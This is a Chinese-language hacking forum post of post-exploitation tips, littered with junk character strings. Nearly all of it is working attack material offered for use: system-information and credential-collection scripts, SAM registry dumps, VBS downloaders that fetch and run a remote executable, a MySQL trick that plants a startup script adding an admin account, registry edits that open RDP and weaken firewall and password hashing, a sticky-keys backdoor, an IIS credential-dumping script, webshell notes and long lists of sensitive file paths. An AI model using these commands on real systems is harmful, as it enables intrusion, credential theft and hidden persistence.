' ]7 e6 _4 t* D7 K1 w- a4 r( _若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
( @# K4 Q! v/ ^" K/ x9 i那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
. k! Q9 `3 S( w- [3 ?! d
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
, \( n6 |% Y/ Qrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：
' V# w+ [( {, ~+ U; d$ q6 D, D
@echo off
! k0 C! Y6 G5 x+ j3 Hecho #########system info collection
systeminfo
5 t( \* S  o! B9 {) z* i3 @- g! Over
hostname
/ H( D+ e0 d+ p# z# q9 J% onet user
net localgroup
net localgroup administrators
+ [& B% V9 X5 V% b2 K; V% fnet user guest
7 h; O9 Z) k! }+ r9 q: `& Z& H+ cnet user administrator
2 q5 P* E) p: w9 l1 N. J; B) B
echo #######at- with   atq#####
echo schtask /query

; z* V  \) X" Z" ~8 jecho
echo ####task-list#############
tasklist /svc
' K- J+ a" J  ?1 t/ {2 n; a: s% {echo
echo ####net-work infomation
ipconfig/all
route print
' f1 A" a% J8 Earp -a
8 v: K' F5 \* ^( e; ?netstat -anipconfig /displaydns
echo
9 C2 v" w, V& P& b( [/ Gecho #######service############
sc query type= service state= all
5 D; J( Q8 y9 Wecho #######file-##############
9 _) B# p; q" o' s3 \, `cd \
tree -F
for linux：

#!/bin/bash
1 p  y  g& w( a! F& E4 s
echo #######geting sysinfo####
2 |7 h$ _/ u$ J& f8 N5 M2 techo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
7 x1 K% G' g# c6 t0 ?, acat /proc/meminfo
% ]; }& V. {1 P& L7 a1 wecho
5 H6 i$ e- [; wcat /proc/cpuinfo
) i  L1 N3 f- l! q7 Aecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

6 g3 {% P" P4 G5 i2 A0 ], W1 P
4 o$ E( \7 ~; B, J8 @echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
8 s3 X- e7 J& C0 i' |" k+ fset
  H" X9 @6 E/ l6 n9 U
* G7 M% L# m( Q4 m" Y- r7 ~echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
  N# n- Y6 e/ _7 H& }cat /etc/hosts
" U$ Z5 U0 w. j6 ?4 shostname
7 s& g, W. h& ^8 t/ Jipconfig -a
! G' j) h0 H( n$ yarp -v
echo ########user####
9 L  x$ z! A4 A: }9 Pcat /etc/passwd|grep -i sh
# s7 g9 h8 W7 f2 ?2 C: e& E
! Z  N' {7 [3 b" ?echo ######service####
. j8 @8 y$ v- X2 v  M- c# [chkconfig --list
' z; H  N0 @2 S' P" T2 I
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
3 y" L3 G) B8 x/ k
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
7 N3 u0 Y7 Z( B' \# S2 X2 r9 k- Hsleep 5
+ X2 e  m1 b, Ylocate conf >/tmp/sysconfig 2>dev/null
( R0 \' C! j1 Jsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
5 K0 O- ^/ A+ V) r6 O2 Bsleep 5

, a1 ~5 T4 @; j###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
. L0 ]2 ^& M0 q& e, g1 ?$ Erm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
; W, L) g4 Z3 d( F接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
$ _9 z1 k8 ]' u. `, x; ^8 Ghash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
  x/ c7 L  c1 @5 ~echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
/ i% A/ `  m# v- N8 D! Q* lecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
/ e7 O& B1 |) P, F4 A1 q# ~; x9 h: o- Hecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
7 g/ |( M  ~" Mecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
+ n+ y/ S% J3 ~; x* gcftmon.vbs
. O& C& L9 A& G) A6 _% {5 r
2
On Error Resume Nextim iRemote,iLocal,s1,s2
( \4 m$ v. v3 [5 R" siLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- n9 H* l9 d: A, Y& o; G/ ESet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# K& p' n+ @5 Q: _, YSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

+ c, f3 o7 \7 X% h" V0 s$ }3 A1 ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
" w% R* h! w  O
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
8 r* n- i. E  B% F- t4 \+ {% b% K' a1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
& X1 i! N) I5 Y2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
" e$ p6 b4 l6 v. W! i7 m  L. x+ ?0 _REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
* \* F2 J& |, A- B————————————————
6、create table a (cmd text);
4 Z9 G7 [! R7 iinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
: I6 ~: w. G, Kinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
5 Z* C' Q; K2 m8 g) u2 g# t_____
8、for /d %i in (d:\freehost\*) do @echo %i
- D& ?0 Z: G9 F
列出d的所有目录
6 e, s1 I3 J0 M. K  
  for /d %i in (???) do @echo %i
6 I( e$ ]2 ]; r9 {% I5 y
把当前路径下文件夹的名字只有1-3个字母的打出来

* }. p2 q  D( |$ v2.for /r %i in (*.exe) do @echo %i
( G+ S' s' v" o0 L) d' D' m  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

* L) p& \  C8 b( ~# O. Ufor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
  f% Q: n# p! l. R) {
; C( ]* q, a  P$ \. J3.for /f %i in (c:\1.txt) do echo %i
  
+ x6 \6 q! C. U0 s* ]1 C% |- d  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

, n/ U: f/ t9 {% L. h! R4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
' w& q* J# h+ z2 K( t5 V" S! T——————————
●注册表:
& N4 P6 Y+ r3 k6 y  \9 v( D' _! z1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

. w0 g1 t/ N5 ~) V2.修改3389的默认端口:
' ^/ R% ]+ ~& `" `/ aHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
/ l+ j. S: u  P修改PortNumber.

! K. E8 E* ~3 h& C3.清除3389登录记录:
, v. J; X/ r1 q' @reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
2 i4 ^9 \8 ~( W1 ]reg export HKLM\SYSTEM\RAdmin c:\a.reg
1 f" ]2 B6 J# t& S6 e7 H$ g
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

0 T$ ]. e$ F. H6.IPSec默认免除项88端口(需重启):
; {' y/ f7 F: n- greg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
9 _8 `' x( ]1 c0 ?* C, |9 e
7.停止指派策略"myipsec":
8 ?! z# u7 x4 C9 W) I5 snetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
; O0 Q9 ^6 v$ j( G, b! u7 c
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
; k* K/ c# P; ^. Z9 t
10.shift映像劫持
; |. F6 q1 t5 Z4 mreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
8 s( l1 N% o0 L6 V! ?
; k6 L9 _- [7 r; r3 greg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
0 c. j- m+ [' Z-----------------------------------
/ \( I! t( f$ N" @星外vbs(注：测试通过，好东西）
$ [- _: T% v, ?) DSet ObjService=GetObject("IIS://LocalHost/W3SVC")
" x# r3 ]$ @: O2 X0 `  x$ E  s5 TFor Each obj3w In objservice
5 J' V$ B1 `/ NchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
8 `6 ^8 }0 X5 [5 N4 b# \/ cset IIs=objservice.GetObject("IIsWebServer",childObjectName)
7 i# q% ~* ?+ t. Q  [, `( ?if err.number<>0 then
+ N  ~( u( j, k5 N2 \- sexit for
! ^/ e8 R$ T. m! i6 [' mmsgbox("error!")
- J% w/ s& j" o( g$ M8 K% Mwscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
3 U2 a$ L  s% Qend if
Next
wscript.echo list
  f' p8 I2 X. |Set ObjService=Nothing
% f, k8 b) @+ q$ hwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
" {, D* S/ I, I' W9 QWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
' }2 K8 S+ ?' a. a( P1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
" x0 C0 q; r9 i将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
& l7 h( |' [6 I1 o( G0 l4 c然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
) }2 T# K4 L6 I, ^ 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
9 L: I' W& f# ` 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
$ E4 c9 e; `8 N$ R+ r url=request.severvariables("path_info")
- _# P: U& i+ e# s2 \ path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
6 C, e, l/ K- P* p0 h" @LINUX常见路径：

/etc/passwd
/etc/shadow
/etc/fstab
/etc/host.conf
! f8 u1 ~5 v$ v; S* n& l! U/etc/motd
/etc/ld.so.conf
1 g2 T0 U& Q6 \+ H' q) ?: t& g: r/var/www/htdocs/index.php
/var/www/conf/httpd.conf
4 Z8 b4 l& \5 B$ V/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
" C5 N/ o8 w" m5 L/ l4 T1 q; @/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
. H9 t5 M+ g* ?, ]' B/var/www/index.php
/opt/www/conf/httpd.conf
! q- ?9 {1 `  W# f0 z  i/opt/www/htdocs/index.php
" m" f: `- k( X- N2 U( q3 e0 T0 J/opt/www/htdocs/index.html
( D/ H6 r  F6 h* @3 ?/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
) m. P$ T1 J2 d' C3 N/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
4 U9 U5 M9 s! l+ q9 L8 r3 T/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
* P2 q& ?8 a, F5 X0 R/etc/httpd/htdocs/index.html
+ U+ @+ v; \6 B) p/www/php/php.ini
/ n+ ^7 {' [( G2 F/www/php4/php.ini
/www/php5/php.ini
4 `6 s) R8 G" T9 u0 e8 m/ |/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
8 e9 e0 C7 d, `2 F, q0 D2 C/usr/local/httpd/conf/httpd.conf
  ], H- R2 h, F+ B, }3 N: a0 Z* |: u/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
3 I8 F+ a  X2 r/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
0 n2 Z& Y6 D( \3 I/etc/apache2/vhosts.d/00_default_vhost.conf
) H% C) p4 d9 r! F4 s/etc/apache2/sites-available/default
9 A3 ]. G8 X4 p/etc/phpmyadmin/config.inc.php
. C$ H) C5 v; n$ V+ I5 e% a+ Q/etc/mysql/my.cnf
% ~, U( u3 W+ M$ ~% }4 I3 v1 o: T' U/etc/httpd/conf.d/php.conf
4 W0 }: S9 U' B0 }6 f1 k/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
) @6 H, B- Y6 Y1 _6 A$ z& A2 B* \/etc/httpd/logs/access_log
! S1 c! \3 l4 }* j( _3 Z/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
% \0 [: ]% x. |- g3 v- f1 ?# }/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
0 k3 D+ e; g" v$ G/var/log/apache2/error_log
/var/log/apache2/error.log
; A0 k4 h/ Y/ G  G; J  e. m/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
: D5 A7 j3 C( t" _* k+ K- }/var/www/logs/error.log
/ t3 c- z# i  ]  s/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
- y2 H0 s" n8 ^0 ~# ?" }- ~/usr/local/apache/logs/access_logaccess_log.old
% H6 \/ t6 g- j& m- L1 ~/usr/local/apache/logs/error_logerror_log.old
$ Z* p* C) D: u: p3 S4 e+ }# Z/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
, |6 @1 J- s4 g8 I! D' h/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
  K( s7 T; n# X$ W/usr/local/php/lib/php.ini
- s3 b) g  c5 X/usr/local/php4/lib/php.ini
3 }) \1 W1 x* ~( t7 I$ r$ Z/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
. R$ u0 `- R: ~$ X- R1 K/usr/local/php5/lib/php.ini
' i( e; U" @% e/usr/local/php5/etc/php.ini
$ o" h+ z$ Z& ^8 S2 r) Y  r  v" |/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
" ]/ l8 j! a) x+ j8 j) T/ |/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
( I( n1 d; k5 i# u. s" c+ q8 X( W/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
$ \- J5 k+ o$ _( t' A( w3 Q/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
# @: c, I; b# K7 t: U/etc/php/apache/php.ini
/etc/php/apache2/php.ini
2 g) w/ X1 J' k0 w/web/conf/php.ini
/usr/local/Zend/etc/php.ini
) @/ R0 t* {! w: g/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
; U  [2 T! Q1 q' T1 z! H/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
1 r. V9 m! [7 G  S2 [- `/ q( f5 u' R/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
3 R4 I% f8 g. \: M0 u4 [1 y# N/php/php.ini
/PHP/php.ini
9 Y5 O1 j' Q1 I! z) x/apache/php/php.ini
* ^6 P" H4 I+ I, ^/ U/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
9 r0 V: Z& D. _! s/var/log/mysql/mysql-bin.log
+ f& u# ~, g" W" s: U/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
- G; M* r% ?+ ^6 d8 I$ `/var/mysql.log
/var/lib/mysql/my.cnf
, t# d5 H3 ?2 A4 V4 c/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/ h7 G( n5 F2 N9 [; v& Y0 q* S3 ^/usr/local/cpanel/logs
) |6 Z  Z5 x% P, w/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
; k8 V/ j% o( n* Q/ `7 Y( `( t/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
: A3 P$ F% i( K  X$ a
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
- X0 c$ v  f" D) P2 A0 Nc:\boot.ini
c:\1.txt
# a$ d9 N) J. q+ i. `; `3 Ec:\a.txt
0 f& X& f9 Q1 j8 ~* I' f0 r
' J+ g1 ?" K8 a' e9 y: r7 Y, X$ b# C0 Nc:\CMailServer\config.ini
. R3 O7 `2 T0 D& Jc:\CMailServer\CMailServer.exe
7 n" u: ]( ~" F& i% N* \4 Pc:\CMailServer\WebMail\index.asp
3 ]' R; u; k9 e3 q; ec:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
! W' W6 m2 w; t" V+ E- C* \C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

( |+ S# A) D0 q3 k+ X1 Lc:\hzhost\databases\url.asp
1 S# ^3 |& B2 X8 q! n  s* Y
3 w7 `" }1 Q, I  M. O" c3 Vc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
' [/ h- f+ b2 T5 i) X' m
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
. s9 L: v' G0 `+ QC:\WINDOWS\web.config
+ t7 o: c4 e/ Y2 O" r* d, e) xc:\web\index.html
5 U2 D. B6 m( \+ U. _c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
/ [6 i1 O* N! m% y  g: dc:\WWWROOT\index.asp
9 K3 ^/ i3 P: a- U0 V# Nc:\web\index.php
5 Y, o; q8 X' }* ]c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
% \1 b: [# C, b( G/ gc:\web\default.html
8 M' F. N, ^8 @8 ]# {* gc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
% |, J+ K) G) w- I+ w/ M+ z0 G9 hc:\web\default.asp
c:\www\default.asp
- n: J" M- p4 V$ Q6 pc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
+ a8 S; Z* z, Z, t; Nc:\WWWROOT\default.php
2 Z9 [8 d9 C3 }; t2 A- kc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
, D0 D, ^5 m2 e( Y5 |c:\windows\notepad.exe
9 R# c3 J4 h3 C0 `% b7 S5 Ec:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
6 b) N! M% N+ GC:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ v3 T% B# ?* w; Q5 V4 mC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
) C5 W1 E& }. s# l4 f* W! a: jC:\Program Files\360Safe\360safe.exe
# x; C' k( A4 b9 L8 P! x. EC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
" g3 d9 A/ u2 |- J7 E# [c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
7 a; z0 |3 I" `- Z" u& BC:\Documents and Settings\Administrator\My Documents\Default.rdp
  e$ U& q1 I4 NC:\Documents and Settings\Administrator\Cookies\index.dat
& i+ U+ U1 |9 I2 Y6 h  ]6 vC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& v( T: y6 B$ s! J+ D+ TC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
9 v# h. ?- U1 Q4 f9 z& E8 O, \C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
* j: T6 Q7 E" gC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
3 I6 W- `5 R/ E8 VC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
% t/ [1 ]8 d1 Z0 z3 |+ uC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
1 I# Z& F8 m! q% KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
" ?3 T6 p( |4 t. I' r* {6 RC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
) q, g$ B. P/ K' aC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
% c0 D% l! [( O$ I+ y4 VC:\Program Files\MySQL\MySQL Server 5.0\my.ini
( S4 G4 _$ E, S; u! s$ LC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
1 ]2 o6 X' {% V" j* w& D- j& oC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
7 Z1 K8 v* ]: v  ?c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
  e- `; G3 a: l  f8 [/ LC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
# @+ f- v9 ?1 u9 ^: p5 k4 [  z' QC:\WINDOWS\system32\inetsrv\w3wp.exe
# n) F. b5 B. j3 k& R4 OC:\WINDOWS\system32\inetsrv\inetinfo.exe
7 \% A9 i3 N4 I7 V7 q; k4 O! H$ ~C:\WINDOWS\system32\inetsrv\MetaBase.xml
% B7 L3 m/ K1 I. M, E1 M' GC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
$ k# K7 J' ^( w5 p6 z; e; D$ H& r+ [C:\WINDOWS\system32\config\sam
- w- o; `8 v) j9 tC:\WINDOWS\system32\config\system
# W$ B" W2 x  @4 |( }c:\CMailServer\config.ini
6 n( x- A; F" w# I, qc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
+ Z9 F; C. e2 D& c) Q/ Wc:\tomcat6\bin\version.sh
  P8 `9 J) G/ ]& o1 u, Q* H5 L( Gc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
1 F  z% D3 U4 m  y4 {! c9 ?! ^: nc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
6 A/ R5 e  U8 \# e# R7 O$ V; tC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/ C* X4 ]# @7 x; Q& b( Z/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
7 J+ }7 ^. r, c: h. T/ Jc:\Program Files\Tencent\qq\User.db
5 x7 G2 z( f% A; `, K9 W% I4 p0 vc:\Program Files\Tencent\qq\qq.exe
1 L! n1 ]( ^% D' I6 c# \c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
5 ]0 t0 l% X+ e% b5 ]( Dc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
7 I3 b- j, \6 ~4 dC:\Program Files\Foxmal\Foxmail.exe
3 \1 O: ?: h: B# TC:\Program Files\Foxmal\accounts.cfg
+ q" _" Y' S) VC:\Program Files\tencent\Foxmal\Foxmail.exe
2 q3 p, t, x4 R  R) D( ]C:\Program Files\tencent\Foxmal\accounts.cfg
" v! i) t% V  }" ?/ g9 S! CC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
$ z2 k. Q, w  ?) _9 ~# Zc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
. }2 z) F! u/ w  [% Q) I) Tc:\Program Files\Oracle\bin\regsvr32.exe
' f+ [7 E6 \! p- g0 Dc:\Program Files\腾讯游戏\QQGAME\readme.txt
; }, k2 I% x+ T5 ?$ Mc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
